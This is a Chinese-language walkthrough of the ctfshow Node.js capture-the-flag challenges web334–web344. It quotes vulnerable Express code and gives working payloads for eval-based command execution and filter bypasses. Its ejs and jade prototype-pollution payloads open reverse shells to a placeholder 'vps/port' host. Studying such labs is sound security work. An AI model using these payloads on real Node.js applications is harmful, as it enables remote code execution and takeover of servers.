ctfshow Nodejs
目录
<1> web334(大小写判断)
<2> web335(无过滤execSync()执行命令)
<3> web336(spawnSync()执行命令)
<4> web337(数组绕过md5===)
<5> web338(原型链污染)
<6> web339
(1) 方法1:ejs原型链污染
(2) 方法2:变量覆盖query
<7> web340(污染两级__proto__)
<8> web341(打ejs-rce)
<9> web342、343(jade原型链污染)
<10> web344(过滤逗号绕过)
<1> web334(大小写判断)
下载附件,在user.js 得到item 里username和password值:
items: [{username: 'CTFSHOW', password: '123456'}]
查看login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* GET home page. */
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'}); }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});} });module.exports = router;
post传入username、password参数,满足下面
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password
var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
name进行toUpperCase() === CTFSHOW 且name不为CTFSHOW password得为123456
post传入 name=Ctfshow&password=123456即可
<2> web335(无过滤execSync()执行命令)
?eval=require('child_process').exec('ls');
eval中可以执行js代码,我们构造执行ls命令,发现回显为 [object Object]
猜测其代码为代码为eval('console.log(xxx)').
涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数 execSync
?eval=require('child_process').execSync('ls');
?eval=require('child_process').execSync('cat fl00g.txt');?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout.toString()?eval=global.process.mainModule.constructor._load('child_process').exec('calc')
<3> web336(spawnSync()执行命令)
有过滤,spawnSync绕过一下
?eval=require('child_process').spawnSync('ls').stdout.toString();
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString();
经过测试,这里是过滤了exec,需要绕过
还有一种方式 字符拼接
?eval=require("child_process")['exe'%2B'cSync']('ls')
<4> web337(数组绕过md5===)
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;
满足 a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
MD5强比较 数组绕过
?a[a]=0&b[a]=1
<5> web338(原型链污染)
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
body的内容可以解析json,同时存在 utils.copy(user,req.body);
function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
在这里可以借user给 Object 添加"__proto__"属性为{"ctfshow":"36dboy"},修改object的原型对象,构造原型链污染。 使得object的实例secert在用到ctfshow的属性时,查找 object.__proto__ 找到36dboy 使 if(secert.ctfshow==='36dboy')
返回ture
<6> web339
(1) 方法1:ejs原型链污染
上一文有提到ejs
现成payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}
{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"} } }
接着post访问api.js就可以反弹shell了
(2) 方法2:变量覆盖query
login.js
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}
这里flag不知道是什么,不能污染ctfshow了
比之前的加了一个api.js
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});
重点看这个:
res.render('api', { query: Function(query)(query)});
这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定操作
和 P神出的 Code-Breaking 2018 Thejs 如出一辙即可以 RCE,这里可污染点存在的匿名函数调用
post 访问api
{"username":"aa","password":"aa","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}
<7> web340(污染两级__proto__)
index.js 改变了
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}
需要满足 user.userinfo.isAdmin为真。
依然可以利用 utils.copy(user.userinfo,req.body),这里并不能直接传入
{"__proto__":{"isAdmin":true}} 因为查找顺序的原因,找到userinfo这一级直接就找到了isAdmin 为false。
userinfo
的原型不是 Object
对象, userinfo.__proto__.__proto__
才是 Object
对象
这里可以向上污染两级,利用api.js 里的query参数rce
污染一级的话,user是查找不到我们构造的query的 user.query不可控
function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}
}
var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};
}
//body=JSON.parse('{"__proto__":{"query":"123"}}');
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.__proto__);
console.log(user.__proto__.__proto__)
console.log(user.userinfo.__proto__);
console.log(user.userinfo.__proto__.__proto__)
再来看一下污染两级时: 可以看到污染到了 [Object: null prototype]
此时 user.query就可控了
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}
<8> web341(打ejs-rce)
和web140类似,不过这个少了api.js 不能向上两级污染覆盖query参数rce了
但是这道题开启了ejs渲染
ejs打原型链
直接用现成payload:
{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'); //"}}}
<9> web342、343(jade原型链污染)
jade原型链污染 参考:https://xz.aliyun.com/t/7025
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
在login页面打上去之后随便访问下,就会反弹
ctfshow nodejs篇 - TARI TARI
<10> web344(过滤逗号绕过)
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});
应该传入
?query={"name":"admin","password":"ctfshow","isVIP":true}
但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。
payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式
参考:
sjeodhttps://blog.csdn.net/miuzzx/anrticle/details/111780832
ctfshow Nodejs相关推荐
- ctfshow NodeJs web334-web344 wp
文章目录 什么是nodejs web334 web335 web336 web337 web338 web339 预期解 非预期解 web340 web341 web342-343 web344 什么 ...
- ctfshow web入门 nodejs 334-341(更新中)
前言 说实在也没啥好说的,希望大家要有勇气,向难题挑战,别像我一样自始至终都是一个菜狗,哎. 这里在刚开始的,我就有一个问题就是我发现刚开始使用的是require来导入模块,但是到了后面发现大部分使用 ...
- 【CTFSHOW】web入门 NodeJS
文章目录 写在前面 web334 web335 web336 web337 web338 web339 web340 web341 web342 web343 web344 参考资料 写在前面 web ...
- ctfshow node.js专题
文章目录 web334 web335 web336 web337 web338 web339 web340 web341 web342.web343 web334 给了附件,然后进入后发现是一个登录框 ...
- CTFshowWeb入门nodejs
web334 大小写绕过 访问环境 下载附件得到源码,开始审计 login.js var express = require('express'); var router = express.Rout ...
- Nodejs的安全学习
文章目录 Nodejs Nodejs的文档 弱类型 大小写比较 js大小写绕过 ctfshow web334 ES6模板字符串 命令执行 ctfshow web335 ctfshow web336 数 ...
- ctfshow—Node.js漏洞总结
1 Js大小写绕过 ctfshow web334 下载源码 var findUser = function(name, password){return users.find(function(ite ...
- CentOS6安装nodejs
Nodejs是JavaScript的一种运行环境,是一个服务端的JavaScript解释器. NPM是Nodejs的包管理器. Nodejs包含npm,所以安装完nodejs后npm默认也被安装. 安 ...
- 让我们一起认识一下Nodejs
Nodejs Nodejs是一个运行在chrome Javascript运行环境下(俗称GoogleV8引擎)的开发平台,用来方便快捷的创建服务器端网络应用程序.可以把它理解为一个轻量级的JSP或PH ...
最新文章
- python 笛卡尔积,排列,组合
- iOS----------苹果警告
- 数据中心基础运维人员的职业规划
- 华为交换机的配置及:access、trunk、hybird端口详解
- 删不干净_“我劝你别删前任微信”
- linux服务器证书安装教程,linux服务器使用certbot免费安装ssl证书
- QQ因系统日期无法打开
- vivado 2018 下载地址
- opnet如何进行C语言编程,OPNET学习小记(五)
- 为什么说CCSK是云安全从业人员必备证书之一
- tp交换机管理页面_tplink交换机怎样设置
- 移动通信网络的构成思维导图
- LLVM的源码目录结构
- 5年市值蒸发2000多亿 绿地控股二次混改能否迎来春天?
- aistudio解压zip
- CSS—javaEE
- 【入门】1536- 前端 Flutter 入门指南
- matlab 定义函数 调用,matlab 定义函数,matlab定义函数并调用
- 爬取智联招聘上24座热门城市中Java招聘信息
- 艾司博讯:拼多多诱导非官方交易有哪些处理?
热门文章
- 【赠书】熊德意老师的一部不止于技术的神经机器翻译“百科全书”
- 自由轴法 matlab,自由轴法与固定轴法 三亿文库
- AMCL代码详解(五)根据激光观测更新粒子权重
- google map api v3 的marker使用label的方法(markerwithlabel的使用)
- Vue开发环境搭建和vue-cli脚手架
- LaTeX的入门使用(新手使用向)
- Perl之单行命令特技
- Matlab图像边缘检测Roberts\Sobel\Prewitt\Canny算子
- 串口转无线WiFi模块——WizFi210-EVB操作手册
- 期货交易原理(期货交易原理与实务)